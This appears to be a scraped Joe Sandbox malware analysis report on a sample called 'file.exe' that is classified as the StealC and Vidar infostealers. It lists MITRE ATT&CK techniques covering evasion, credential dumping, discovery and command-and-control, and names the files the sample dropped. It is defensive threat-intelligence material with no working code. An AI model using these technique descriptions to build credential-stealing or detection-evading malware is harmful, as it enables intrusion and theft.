Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKKFHCFIECAAAKEGCFIEHDAKF

C:\ProgramData\CFBFHIEBKJKFHIEBFBAE

C:\ProgramData\DAECGCGH

C:\ProgramData\DGCBAFIJDGHCAKECAEGC

C:\ProgramData\FCAAEHJDBKJJKFHJEBKF

C:\ProgramData\HCAEGCBF

C:\ProgramData\KFIJJJEBGCFBGDHIDGCAEGDAAF

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre